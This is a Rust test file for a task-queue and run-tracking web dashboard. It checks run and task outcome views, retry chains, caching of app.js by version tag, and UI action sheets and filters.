14974 assert!(task["latest"].is_null());
14975 assert!(task["finished_by"].is_null());
14976 assert_eq!(task["closed_by_hand"], false);
14977 }
14978
14979 #[tokio::test]
14980 async fn a_direct_run_has_no_task_outcome() {
14981 let fx = Fixture::start().await;
14982 let runs = fx.runs();
14983 let id = "20260901-000000-aaaa";
14984 write_run(&runs, id, RunStatus::Blocked);
14985 let view = fx.get(&format!("/api/runs/{id}")).await.json();
14986 assert!(view["task"].is_null());
14987 }
14988
14989 #[test]
14990 fn task_outcome_does_not_guess_a_finishing_run() {
14991 let a = "20260901-000000-aaaa";
14992 let b = "20260901-000000-bbbb";
14993 let c = "20260901-000000-cccc";
14994 let dir = tempfile::tempdir().expect("tempdir");
14995 write_run(dir.path(), a, RunStatus::Blocked);
14996 write_run(dir.path(), b, RunStatus::VerifiedNoop);
14997 let read = |id: &str| read_run(dir.path(), id).ok();
14999 let t = outcome_task(&[a, b, c], TaskStatus::Done);
15002 let out = task_outcome(&t, a, 3, read);
15003 assert!(out.finished_by.is_none());
15004 assert!(out.closed_by_hand);
15005 let latest = out.latest.expect("latest");
15006 assert_eq!(latest.id, c);
15007 assert_eq!(latest.status, None);
15008 assert_eq!(latest.outcome, "record unreadable");
15009
15010 write_run(dir.path(), c, RunStatus::Ready);
15012 let t = outcome_task(&[a, c], TaskStatus::Done);
15013 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
15014 assert_eq!(out.finished_by.expect("finisher").id, c);
15015 assert!(!out.closed_by_hand);
15016
15017 let t = outcome_task(&[a, b, a], TaskStatus::Held);
15019 assert!(task_outcome(&t, a, 3, read).is_latest);
15020 }
15021
15022 #[tokio::test]
15023 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
15024 let fx = Fixture::start().await;
15029 let q = fx.queue();
15030 let runs = fx.runs();
15031 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
15032 write_run(&runs, first, RunStatus::Blocked);
15033 write_run(&runs, second, RunStatus::Merged);
15034
15035 let mut t = Task::new(
15036 "one task".to_owned(),
15037 "do it".to_owned(),
15038 PathBuf::from("/repo"),
15039 Source::Human,
15040 );
15041 t.runs = vec![first.to_owned(), second.to_owned()];
15042 q.put(&mut t).expect("put");
15043
15044 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
15045 assert_eq!(earlier["superseded_by"], "dddd");
15046 assert_eq!(earlier["latest_attempt"]["id"], second);
15047 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
15048 assert_eq!(
15049 earlier["latest_attempt"]["resolved"], true,
15050 "the run that replaced it landed, so this one reads as settled"
15051 );
15052
15053 let later = fx.get(&format!("/api/runs/{second}")).await.json();
15054 assert!(
15055 later["superseded_by"].is_null(),
15056 "the latest attempt is not superseded by anything"
15057 );
15058 assert!(
15059 later["latest_attempt"].is_null(),
15060 "the latest attempt has no later attempt of its own"
15061 );
15062
15063 assert!(APP_JS.contains("run.latest_attempt"));
15070 assert!(APP_JS.contains("data-superseded"));
15071 assert!(APP_JS.contains("#/runs/${latest.id}"));
15072 }
15073
15074 #[tokio::test]
15075 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
15076 let fx = Fixture::start().await;
15082 let q = fx.queue();
15083 let runs = fx.runs();
15084 let (a, b, c) = (
15085 "20260901-000000-aaaa",
15086 "20260901-000000-bbbb",
15087 "20260901-000000-cccc",
15088 );
15089 write_run(&runs, a, RunStatus::Blocked);
15090 write_run(&runs, b, RunStatus::Blocked);
15091 write_run(&runs, c, RunStatus::Merged);
15092
15093 let mut t = Task::new(
15094 "retried twice".to_owned(),
15095 "do it".to_owned(),
15096 PathBuf::from("/repo"),
15097 Source::Human,
15098 );
15099 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
15100 q.put(&mut t).expect("put");
15101
15102 let view = fx.get(&format!("/api/runs/{a}")).await.json();
15103 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
15104 assert_eq!(
15105 view["latest_attempt"]["id"], c,
15106 "the chain's current head, not the intermediate Blocked retry"
15107 );
15108 assert_eq!(view["latest_attempt"]["resolved"], true);
15109
15110 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
15111 assert_eq!(mid["latest_attempt"]["id"], c);
15112 assert_eq!(mid["latest_attempt"]["resolved"], true);
15113 }
15114
15115 #[tokio::test]
15116 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
15117 let fx = Fixture::start().await;
15118 let q = fx.queue();
15119 let runs = fx.runs();
15120
15121 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
15124 write_run(&runs, still_blocked_a, RunStatus::Blocked);
15125 write_run(&runs, still_blocked_b, RunStatus::Blocked);
15126 let mut t1 = Task::new(
15127 "still stuck".to_owned(),
15128 "do it".to_owned(),
15129 PathBuf::from("/repo"),
15130 Source::Human,
15131 );
15132 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
15133 q.put(&mut t1).expect("put");
15134 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
15135 assert_eq!(view1["latest_attempt"]["resolved"], false);
15136 assert_eq!(view1["latest_attempt"]["status"], "blocked");
15137 assert_eq!(view1["latest_attempt"]["done"], true);
15138
15139 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
15141 write_run(&runs, run_a, RunStatus::Blocked);
15142 write_run(&runs, run_b, RunStatus::Implementing);
15143 let mut t3 = Task::new(
15144 "retrying".to_owned(),
15145 "do it".to_owned(),
15146 PathBuf::from("/repo"),
15147 Source::Human,
15148 );
15149 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
15150 q.put(&mut t3).expect("put");
15151 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
15152 assert_eq!(view3["latest_attempt"]["id"], run_b);
15153 assert_eq!(view3["latest_attempt"]["resolved"], false);
15154 assert_eq!(view3["latest_attempt"]["done"], false);
15155
15156 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
15161 write_run(&runs, noop_a, RunStatus::Blocked);
15162 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
15163 let mut t2 = Task::new(
15164 "claims done".to_owned(),
15165 "do it".to_owned(),
15166 PathBuf::from("/repo"),
15167 Source::Human,
15168 );
15169 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
15170 q.put(&mut t2).expect("put");
15171 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
15172 assert_eq!(
15173 view2["latest_attempt"]["resolved"], false,
15174 "an unverified no-op claim must not read as a confirmed finish"
15175 );
15176
15177 assert!(APP_JS.contains("latest.resolved"));
15180 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
15183 assert!(APP_JS.contains("Latest attempt: "));
15184 assert!(APP_JS.contains("in flight"));
15185 assert!(APP_JS.contains("not resolved"));
15186 }
15187
15188 #[tokio::test]
15189 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
15190 let fx = Fixture::start().await;
15191 let js = fx.get("/app.js").await;
15197 assert_eq!(js.status, 200);
15198 let tag = js
15199 .header("etag")
15200 .expect("an etag to revalidate against")
15201 .to_owned();
15202 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
15203 assert_eq!(
15204 js.header("cache-control"),
15205 Some("no-cache, must-revalidate"),
15206 "the phone has to ask every time"
15207 );
15208
15209 let again = fx
15212 .get_with("/app.js", &[("if-none-match", tag.as_str())])
15213 .await;
15214 assert_eq!(
15215 again.status, 304,
15216 "a deck it already has costs one round trip"
15217 );
15218 assert!(again.body.is_empty(), "304 carries no body");
15219
15220 let weak = fx
15223 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
15224 .await;
15225 assert_eq!(weak.status, 304);
15226 let stale = fx
15227 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
15228 .await;
15229 assert_eq!(stale.status, 200, "an older build must be replaced");
15230 assert!(stale.body.contains("renderRunActions"));
15231 }
15232
15233 #[test]
15234 fn the_task_detail_has_an_actions_fab_and_sheet() {
15235 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
15236 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
15237 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
15238 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
15240 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
15241 assert!(APP_JS.contains("renderTaskActions(task);"));
15243 assert!(APP_JS.contains("renderTaskActions(null);"));
15244 let sheet = APP_JS
15246 .find("function renderTaskActions")
15247 .expect("sheet renderer");
15248 let body = &APP_JS[sheet..sheet + 3000];
15249 assert!(body.contains("changePriority("));
15250 assert!(body.contains("openTaskEdit(task)"));
15251 assert!(body.contains("renderTaskHoldBox(host"));
15252 assert!(body.contains("renderTaskDoneBox(host"));
15253 assert!(body.contains("renderTaskDeleteBox(host"));
15254 assert!(APP_JS.contains("API.priority(id)"));
15255 assert!(APP_JS.contains("API.deleteTask(id)"));
15256 assert!(APP_JS.contains("location.hash = \"#/queue\""));
15258 assert!(APP_JS.contains("$(\"task-actions-error\")"));
15260 }
15261
15262 #[test]
15263 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
15264 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
15265 let actions = INDEX_HTML
15266 .find("id=\"run-actions-box\"")
15267 .expect("actions box");
15268 assert!(task < actions, "the task entry comes first in the sheet");
15269 assert!(APP_JS.contains("renderRunTaskEntry"));
15270 assert!(APP_JS.contains("\"Open task \""));
15271 assert!(APP_JS.contains("started directly, no task"));
15273 assert!(APP_JS.contains("sheet-task-link"));
15274 assert!(APP_JS.contains("task-chip-link"));
15275 }
15276
15277 #[test]
15278 fn the_deck_never_sends_the_operator_to_a_terminal() {
15279 assert!(
15282 !APP_JS.contains("Run `magi fold` first"),
15283 "the deck must offer the fold, not prescribe a shell command"
15284 );
15285 assert!(APP_JS.contains("foldRun:"));
15286 assert!(APP_JS.contains("resumeRun:"));
15287 assert!(APP_JS.contains("renderRunActions"));
15288
15289 assert!(APP_JS.contains("armedFold"));
15291 assert!(APP_JS.contains("Yes, fold worktrees"));
15292
15293 assert!(APP_JS.contains("can no longer be resumed"));
15296 }
15297
15298 #[test]
15299 fn a_finished_run_explains_itself_with_its_own_last_line() {
15300 assert!(
15306 !APP_JS.contains("collapsed on agent quota"),
15307 "a stall must not be explained by a cause the deck did not check"
15308 );
15309 assert!(
15310 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
15311 "and a block must not offer a guess with an `or` in it"
15312 );
15313
15314 assert!(
15318 APP_JS.contains("setText(r.event, run.event || \"\")"),
15319 "the run's last line is rendered unconditionally"
15320 );
15321 assert!(
15322 !APP_JS.contains("moving && run.event"),
15323 "and never gated on the run still moving"
15324 );
15325
15326 assert!(APP_JS.contains("lost to quota"));
15328 }
15329
15330 #[test]
15352 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
15353 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
15354 let shapes_body_start =
15355 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
15356 let shapes_close = APP_JS[shapes_body_start..]
15357 .find("].map(")
15358 .expect("the shape list is closed by its done-computing .map(...)")
15359 + shapes_body_start;
15360 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
15361
15362 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
15363 for entry in shapes_src.split('{').skip(1) {
15364 let waiting = entry.contains("waiting: true");
15365 let dead = entry.contains("live: \"dead\"");
15366 let status_at =
15367 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
15368 let status_end = entry[status_at..]
15369 .find('"')
15370 .expect("the status string is closed")
15371 + status_at;
15372 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
15373 }
15374 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
15375
15376 let done_rule_marker = "done: !";
15380 let done_rule_at = APP_JS[shapes_close..]
15381 .find(done_rule_marker)
15382 .expect("the done rule follows the shape list")
15383 + shapes_close
15384 + done_rule_marker.len();
15385 let includes_at = APP_JS[done_rule_at..]
15386 .find(".includes(shape.status)")
15387 .expect("the done rule ends in .includes(shape.status)")
15388 + done_rule_at;
15389 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
15390 .trim()
15391 .trim_start_matches('[')
15392 .trim_end_matches(']')
15393 .split(',')
15394 .map(|s| s.trim().trim_matches('"'))
15395 .filter(|s| !s.is_empty())
15396 .collect();
15397
15398 let shapes: Vec<(bool, String, bool, bool)> = shapes
15399 .into_iter()
15400 .map(|(waiting, status, dead)| {
15401 let done = !not_done.contains(&status.as_str());
15402 (waiting, status, dead, done)
15403 })
15404 .collect();
15405
15406 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
15410 if waiting {
15411 return "waiting";
15412 }
15413 if dead
15414 && !matches!(
15415 status,
15416 "merged"
15417 | "ready"
15418 | "stalled"
15419 | "blocked"
15420 | "failed"
15421 | "verified_noop"
15422 | "superseded"
15423 | "already_in_base"
15424 )
15425 {
15426 return "stale";
15427 }
15428 match status {
15429 "merged" | "ready" => "landed",
15430 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
15431 | "already_in_base" => "ended",
15432 _ => "flight",
15433 }
15434 }
15435
15436 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
15439 match filter_key {
15440 "active" => !done,
15441 "flight" => !done && !waiting && !dead,
15442 "stale" => !done && !waiting && dead,
15443 "waiting" => waiting,
15444 "done" => done,
15445 "all" => true,
15446 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
15447 }
15448 }
15449
15450 let compatible = |section: &str, filter_key: &str| {
15451 shapes.iter().any(|(waiting, status, dead, done)| {
15452 run_section(*waiting, status, *dead) == section
15453 && filter_matches(filter_key, *waiting, *dead, *done)
15454 })
15455 };
15456
15457 let expected = [
15462 ("waiting", [true, false, false, true, true, true]),
15463 ("stale", [true, false, true, false, false, true]),
15464 ("flight", [true, true, false, false, false, true]),
15465 ("landed", [false, false, false, false, true, true]),
15466 ("ended", [false, false, false, false, true, true]),
15467 ];
15468 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
15469
15470 for (section, wants) in expected {
15471 for (filter_key, want) in filter_keys.iter().zip(wants) {
15472 assert_eq!(
15473 compatible(section, filter_key),
15474 want,
15475 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
15476 );
15477 }
15478 }
15479
15480 assert!(
15483 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
15484 );
15485 assert!(APP_JS.contains(
15486 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
15487 ));
15488 assert!(APP_JS.contains(
15489 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
15490 ));
15491 }
15492
15493 #[tokio::test]
15494 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
15495 let dir = tempfile::tempdir().expect("tempdir");
15499 let explicit = dir.path().join("not-a-checkout");
15500 std::fs::create_dir_all(&explicit).expect("create dir");
15501 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
15502
15503 let missing = dir.path().join("does-not-exist-at-all");
15504 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
15505 }
15506
15507 #[test]
15508 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
15509 assert!(APP_JS.contains("function statsDonutArcs"));
15510 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
15511 assert!(APP_JS.contains("function statusInBucket"));
15513 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
15514 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
15515 let buckets = [
15516 "merged",
15517 "ready",
15518 "in_progress",
15519 "blocked",
15520 "failed",
15521 "verified_noop",
15522 "superseded",
15523 "stalled",
15524 ];
15525 for key in buckets {
15526 let var = format!("--verdict-{key}:");
15527 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
15529 assert!(
15530 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
15531 "{key}"
15532 );
15533 }
15534 }
15535}